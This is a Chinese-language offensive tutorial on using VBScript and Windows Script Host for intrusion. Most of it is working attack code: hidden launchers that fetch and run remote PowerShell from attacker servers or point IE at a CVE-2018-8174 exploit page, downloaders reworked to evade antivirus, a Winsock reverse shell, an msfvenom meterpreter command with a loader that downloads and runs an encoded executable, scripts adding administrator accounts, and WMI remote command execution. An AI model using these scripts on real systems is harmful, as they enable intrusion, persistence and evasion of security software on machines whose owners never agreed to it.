前言
學點老知識,可能有用也可能沒啥用。不得學了才知道嗎?
VBScript 簡介
VBScript 是微軟出品的一種腳本語言。不需要進行任何的編譯,直接由宿主解釋源代碼并執(zhí)行。
VBScript 使用
我們熟知的VBScript 廣泛用于網(wǎng)頁設計和ASP語言。其實VBScript可以通過windows 腳本宿主(WSH)調(diào)用COM,所以也可以在windows操作系統(tǒng)中處理文件、調(diào)用系統(tǒng)命令、調(diào)用COM接口、編寫病毒、修改注冊表等等。且擴展性比較強,在.wsf、.wsc、.hta、 .asp文件中都可以應用。
windows 腳本宿主
windows 腳本宿主(windows script host)簡稱WSH是一個windows管理工具。WSH是兼容各種腳本語言的宿主接口,處理各種 ActiveX 腳本引擎。也就是說如果使用使用VBScript、JScript,可以直接引入WSH。
Windows操作系統(tǒng)可以自動辨認和執(zhí)行.VBS和.WSF這兩種文件格式。
運行方式
WSH提供了兩個用于執(zhí)行腳本的接口。
cscript.exe 用于命令行中運行腳本
wscript.exe 用于在windows環(huán)境中運行腳本
通俗的說,就是cscript.exe從DOS窗口啟動,wscript.exe與windows GUI交互執(zhí)行。功能上沒有差別。
內(nèi)置對象
WSH包含一些核心的對象和方法,方便管理計算機。
WScript:WSH對象模型的基礎
Argument 屬性:傳遞的參數(shù)
CreateObject方法:創(chuàng)建了WshNetwork對象
Echo 方法:輸出
Sleep方法 : 休息后再執(zhí)行
WshShell:獲取系統(tǒng)環(huán)境變量、訪問 Windows 的特殊文件、修改注冊表等等。
RegRead 方法:獲取注冊表某一項
Run 方法:運行某程序
Exec 方法:運行某程序
SendKeys 方法:模擬鍵盤
WshNetwork:提供對計算機所連接的網(wǎng)絡上共享資源的訪問
更多的核心的對象可以參考《WINDOWS腳本技術手冊》《VBScript程序員參考手冊》兩本書。
VBScript 基礎語法
Dim: 聲明變量
MsgBox函數(shù): 顯示消息框
InputBox函數(shù): 等待用戶輸入文本
Sub: 定義過程
call: 調(diào)用過程
&符號: 連接符
' 符號: 注釋符
: 符號: 多行代碼寫成一行,要用冒號作為分隔符
OnError Resume Next: 代碼出錯依然執(zhí)行
Run和Exec
WScript.Shell是WshShell對象的ProgID(程序標識符)。
WScript.Shell對象的Run和Exec兩個方法都可以來運行程序,但也有區(qū)別。
Run 方法
有三個參數(shù):
第一個參數(shù)是要執(zhí)行程序的路徑,
第二個參數(shù)是窗口的形式,0后臺運行;1正常運行;2最小化;3最大化;缺省的話表示正常運行
第三個參數(shù)是表示這個腳本是等待還是繼續(xù)執(zhí)行,如果設為了True,腳本就會等待調(diào)用的程序退出后再向后執(zhí)行。
Run 的返回值是一個整數(shù),就0和1兩種狀態(tài)。
Exec 方法
運行一個程序,獲取運行狀態(tài)、獲取PID,提供對StdIn、StdOut和StdErr流的訪問,獲取命令輸出。
區(qū)別
- Run在運行文件時,會啟動相關聯(lián)的程序打開該文件(沒有關聯(lián)則出錯);Exec只能運行程序。
- Run不僅可以直接運行位于path環(huán)境變量中的程序,還能運行在注冊表中設置的程序"別名";Exec只能直接運行位于path環(huán)境變量中的程序。
- Run會等待程序運行結束后再執(zhí)行后面的命令。
- Exec運行的程序路徑中即使有空格,也可以正常運行;Run運行的程序路徑必須使用雙引號。(vbs中一個引號字符本身要用兩個引號表示,寫成"",或者使用chr(34)表示)
除了WScript.Shell組件可以執(zhí)行系統(tǒng)命令外,vbs還有不同組件執(zhí)行程序的多種方法。
具體參考:撿拾VBS應用層里的明珠
適用的場景
釣魚場景
WScript的Run方法可以隱藏窗口,放在后臺執(zhí)行。我們可以結合IE瀏覽器的雙殺漏洞(CVE-2018-8174 )獲取系統(tǒng)權限。
Set objws = WScript.CreateObject("wscript.shell")
objws.Run """C:\Program Files (x86)\Internet Explorer\iexplore.exe""http://47.94.80.xxx/exploit.html",0
注意該IE雙殺漏洞在win7 32位IE瀏覽器運行

或者結合powershell來隱藏窗口,直接在內(nèi)存加載。隱蔽性、免殺性都很好。
set ws=wscript.createobject("wscript.shell")
call ws.run ("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pwd",0,true)
wscript.sleep 1000
call ws.run ("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe set-alias -name key -value Invoke-Expression;key(New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/a.ps1')",0,true)

下載文件場景
解讀一下網(wǎng)上公開的vbs下載源代碼:
Set xmlhttp = CreateObject("MSXML2.XMLHTTP")
'創(chuàng)建MSXML2.XMLHTTP 對象
xmlhttp.Open "GET","http://47.94.80.xxx/ps/a.ps1",false
'GET方式發(fā)送請求,也可以設置為表單上傳
xmlhttp.Send()
'send方法
‘wscript.echo "Status: " & xmlhttp.status
'wscript的echo方法,將結果輸出到控制臺
'xmlhttp的屬性,返回狀態(tài)碼
'wscript.echo xmlhttp.responseText
'xmlhttp的屬性,返回字符串
’wscript.echo xmlhttp.responseBody
'結果返回為無符號整數(shù)數(shù)組
Set aGet = CreateObject("ADODB.Stream")
'創(chuàng)建ADODB.Stream對象
aGet.Mode = 3
'mode讀寫權限,默認為0,1代表只讀,2代表只寫,3代表讀寫
aGet.Type = 1
'type數(shù)據(jù)類型。默認2,文本類型,1代表二進制
aGet.Open()
'打開對象
aGet.Write(xmlhttp.responseBody)
'寫二進制數(shù)據(jù)
aGet.SaveToFile "shell.ps1",2
'把對象的數(shù)據(jù)保存為文件,1不覆蓋原文件,2覆蓋原文件
'最后一句注釋bypass
將上面代碼修改為自定義獲取url地址、保存的文件名。
down.vbs
Set a = Createobject("adodb.stream")
Set w = Createobject("microsoft.xmlhttp")
w.open "get",wscript.arguments(0),0
w.send
a.type = 1
a.open
a.write w.responsebody
a.savetofile wscript.arguments(1),2
運行命令
down.vbs http://47.94.80.xxx/ps/a.ps1 a.ps1
進一步修改為echo一句話。冒號將多行代碼連接為一行;^轉義字符解決在cmd下的輸入。
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wscript.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wscript.arguments(1),2 >> down.vbs
但是非常容易被查殺,修改為繞過360的代碼,但因為vbscript沒有塊注釋,需要不斷echo進一個文件。
echo public function HexStr2ByteArr() >> down.txt
echo Set xmlhttp = CreateObject("MSXML2.XMLHTTP") >> down.txt
echo '創(chuàng)建MSXML2.XMLHTTP 對象 >> down.txt
echo xmlhttp.Open "GET",wscript.arguments(0),false >> down.txt
echo 'GET方式發(fā)送請求,也可以設置為表單上傳 >> down.txt
echo xmlhttp.Send() >> down.txt
echo 'send方法 >> down.txt
echo Set aGet = CreateObject("ADODB.Stream") >> down.txt
echo '創(chuàng)建ADODB.Stream對象 >> down.txt
echo aGet.Mode = 3 >> down.txt
echo 'mode讀寫權限,默認為0,1代表只讀,2代表只寫,3代表讀寫 >> down.txt
echo aGet.Type = 1 >> down.txt
echo 'type數(shù)據(jù)類型。默認2,文本類型,1代表二進制 >> down.txt
echo aGet.Open() >> down.txt
echo '打開對象 >> down.txt
echo aGet.Write(xmlhttp.responseBody) >> down.txt
echo '寫二進制數(shù)據(jù) >> down.txt
echo aGet.SaveToFile wscript.arguments(1),2 >> down.txt
echo '最后一句注釋bypass >> down.txt
echo End Function >> down.txt
echo HexStr2ByteArr() >> down.txt
webshell場景
當在webshell里直接運行vbs時,實際是cscrpit.exe在運行該腳本。某些殺軟會攔截cscript.exe該應用程序的調(diào)用。所以使用c語言的system函數(shù)對其進行封裝。
代碼如下:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char*argv[], char*envp[])
{
char buffer[100];
sprintf(buffer, "cscript.exe %s %s", argv[1], argv[2]);
system(buffer);
return 0;
}
反彈cmd場景
在網(wǎng)上原來的remote cmdshell上基礎上仔細閱讀代碼后并嘗試改寫。
最終形成了這個low的代碼。無法在實際中應用。因為nc反彈后需要輸入命令,vbs只找到了InputBox函數(shù),以彈出對話框的形式進行輸入命令后發(fā)送。所有寫的比較雞肋。
貼出代碼,方便學習吧。
cmdshell.vbs
RemoteHost = Wscript.Arguments(0)
RemotePort = Wscript.Arguments(1)
Set sock = Wscript.createobject("MSWINsock.Winsock")
sock.Protocol = 0
sock.RemoteHost = RemoteHost
sock.RemotePort = RemotePort
sock.Connect
Wscript.sleep 1000
if sock.state = 7 then
WScript.Echo "Connected to server."
Set ShellObj = WScript.CreateObject("WScript.Shell")
sock.SendData "Connected Success, Welcome!" & chr(13) & chr(10)
Wscript.sleep 1000
Do
Dim sRevData
sRevData = InputBox("please your send data")
a = (Split(sRevData, chr(10), -1, 1))
data = a(0)
Set ExecObj = ShellObj.Exec(data)
sock.SendData ExecObj.StdOut.ReadAll
sock.SendData ExecObj.StdErr.ReadAll
If sRevData <> "" Then
sock.SendData chr(10) & "[" & sock.LocalHostName & "@" & "cmd]#: "
End If
If Left(sRevData, 4) = "exit" Then
sock.Close
Exit Do
End If
Loop
Wscript.sleep 1000
end if
sock.Close
運行方式:
控制端
nc -l -v -p 4444
目標端
c:\Windows\SysWOW64\cscript.exe cmdshell.vbs 127.0.0.1 4444
這里解釋一下:MSWinsock.Winsock是32位COM組件,在64位系統(tǒng)中存在兩組不同的wscript.exe和cscript.exe,一組是64位的,在C:\Windows\System32 文件夾;一組是32位的,在C:\Windows\SysWOW64 文件夾。由于64位和32位的內(nèi)存模式不同,64位進程無法加載32位DLL,所以DLL封裝COM組件無法在64位進程中調(diào)用。在win7 上測試成功運行。
核心代碼
Set sock = Wscript.createobject("MSWINsock.Winsock")
'創(chuàng)建Winsock對像
sock.Protocol = 0
'Protocol的值為0時,所創(chuàng)建的協(xié)議是TCP;值為1時,則創(chuàng)建的是UDP
sock.RemoteHost = "127.0.0.1"
sock.RemotePort = "4444"
sock.Connect
Wscript.sleep 1000
if sock.state = 7 then
'state 返回創(chuàng)建socket的對象狀態(tài)
'7 表示已連接
sendata = "Hello!!!" & chr(13)
'定義要發(fā)送的數(shù)據(jù)
sock.senddata sendata
'發(fā)送數(shù)據(jù)
Wscript.sleep 100
end if
sock.Close
加載shellcode PE 場景
metasploit
借助metasploit,命令生成vbs木馬。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.94.80.xxx LPORT=8080 EXITFUNC=thread -f vbs --arch x86 --platform win
閱讀了一下vbs木馬的源代碼。就是通過將惡意的shellcodePE保存在創(chuàng)建的temp臨時目錄下并運行。這種老套路會容易被殺軟檢測到。
所以對先對代碼進行改寫,方便閱讀和調(diào)試。
主要修改了加載shellcodePE的方式,改為遠程下載后加載。
msf.vbs
Function Decode(strB64)
strXML = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
"dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
strB64 & "</B64DECODE>"
Set oXMLDoc = CreateObject("MSXML2.DOMDocument.3.0")
oXMLDoc.LoadXML(strXML)
decode = oXMLDoc.selectsinglenode("B64DECODE").nodeTypedValue
'對shellcodePE進行base64解碼
set oXMLDoc = nothing
End Function
Function writefile()
strFileURL = WScript.Arguments.Item(0)
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
shellcodePE = objXMLHTTP.responseText
'借助下載的思路,通過MSXML2.XMLHTTP下載shellcodePE
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempdir
Dim basedir
Set tempdir = fso.GetSpecialFolder(2)
basedir = tempdir & "\" & fso.GetTempName()
fso.CreateFolder(basedir)
tempexe = basedir & "\" & "test.exe"
'msgbox tempexe
'保存在~\AppData\Local\Temp臨時目錄,并將shellcodePE寫進test.exe文件
code = Decode(shellcodePE)
Dim adodbstream
Set adodbstream = CreateObject("ADODB.Stream")
adodbstream.Type = 1
adodbstream.Open
adodbstream.Write code
adodbstream.SaveToFile tempexe, 2
Dim wshell
Set wshell = CreateObject("Wscript.Shell")
wshell.run tempexe,0, true
'運行test.exe
fso.DeleteFile(tempexe)
'運行后刪除
fso.DeleteFolder(basedir)
'運行后刪除
Set fso = Nothing
End Function
writefile()
可過部分殺軟。
然后考慮如何生成shellcodePE。也就是base64編碼的exe文件。
powershell 就可以很方便做到。
$PEBytes = [System.IO.File]::ReadAllBytes("C:\windows\system32\calc.exe")
$Base64Payload = [System.Convert]::ToBase64String($PEBytes)
Set-Content shellcodePE.txt -Value $Base64Payload
再將shellcodePE放在遠程服務器上,提供下載。
運行命令
msf.vbs http://10.211.55.4/appcms/shellcodePE.txt

如需繞過殺軟反彈metasploit,將calc.exe替換為惡意exe即可。
Cobalt Strike
Cobalt Strike 是通過生成hta文件來實現(xiàn)vbscript。
在Packages的HTML Application中。

代碼功能和metasploit差不多,都是將shellcode(16進制)保存在指定的exe文件里再運行。
添加系統(tǒng)賬戶場景
利用活動目錄(ADSI)的winnt對象,添加管理員。不依靠CMD等命令。
Dim var
Set wsnetwork = CreateObject("WSCRIPT.NETWORK")
os = "WinNT://" & wsnetwork.ComputerName
'winnt對象用來管理本地資源
var = "/Administrators,group"
'定義變量來bypass
Set oe = GetObject(os & var)
Set od = GetObject(os).Create("user","cseroad")
'建立用戶
od.SetPassword "123456"
'設置密碼
od.SetInfo
'保存
Set of = GetObject(os&"/cseroad",user)
'得到用戶
oe.add os & "/cseroad"
自定義輸入添加的賬戶和密碼
netuser.vbs
struser = wscript.arguments(0)
strpass = wscript.arguments(1)
Dim var
Set wsnetwork = CreateObject("WSCRIPT.NETWORK")
os = "WinNT://"&wsnetwork.ComputerName
var = "/Administrators,group"
Set oe = GetObject(os & var)
Set od = GetObject(os).Create("user",struser)
od.SetPassword strpass
od.SetInfo
Set of = GetObject(os&"/"&struser&",user")
oe.add os & "/" & struser
命令為
netuser.vbs cseroad 123456
內(nèi)網(wǎng)場景
我們都知道內(nèi)網(wǎng)橫向工具wmiexec.vbs的強大。對于WMI的操作,powershell和vbscript最為方便。WMI是windows管理規(guī)范,提供了操作系統(tǒng)的接口方便管理計算機。
詳情參考微軟官方文檔 https://docs.microsoft.com/en-us/windows/win32/wmisdk/about-wmi
這里簡單看一下WMI是如何遠程執(zhí)行命令的。
vbsexec.vbs
If WScript.Arguments.Count = 4 Then
target = WScript.Arguments.Item(0)
username = WScript.Arguments.Item(1)
password = WScript.Arguments.Item(2)
command = WScript.Arguments.Item(3)
Else
Wscript.Echo "Usage: vbsexec.vbs target username password command"
Wscript.Quit
End If
Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
'定義了SwbemLocator的實例
Set objSWbemServices = objSWbemLocator.ConnectServer _
(target, "root\cimv2", username, password)
'ConnectServer遠程連接指定憑證
'該方法總共有8個參數(shù)
'可以本機使用,只需要設置前兩個參數(shù)
'連接到遠程計算機,需要設置前4個參數(shù)。root\CIMV2需要登錄的CIM命名空間。
'command = "calc.exe"
Set objProcess = objSWbemServices.Get("Win32_Process")
'利用Win32_Process這個類創(chuàng)建一個進程
errReturn = objProcess.Create("cmd.exe /c " & command, , , intProcessID)
If errReturn = 0 Then
Wscript.Echo "Process started with ID: " & intProcessID
Else
Wscript.Echo "Process error"
End If
運行命令
vbsExec.vbs 172.16.111.113 administrator cseroad@2008 "net user admin 1234qwer.. /add"

免殺
編寫vbscript調(diào)用powershell,并使用超長normal進行bypass
set ws=wscript.createobject("wscript.shell")
call ws.run ("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pwd",0,true)
wscript.sleep 100
call ws.run ("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value Invoke-Expression;key(New-Object Net.WebClient).DownloadString('http://106.53.xx.xx:82/a')",0,true)
再使用vbseditor編輯器編譯為exe文件。免殺率也比較好。
總結
在某些方面vbscript的作用依然不可忽視?;顚W活用,多學點總是沒錯的。
如有錯誤請斧正。
參考資料
64位系統(tǒng)VBS調(diào)用32位COM組件
vbs 的 VBScript 打造自己的遠程CMDShell附使用教程
用不同姿勢復現(xiàn) CVE-2018-8174 漏洞
使用vbs執(zhí)行命令小tip
WMI的基礎介紹在vbs中的使用方式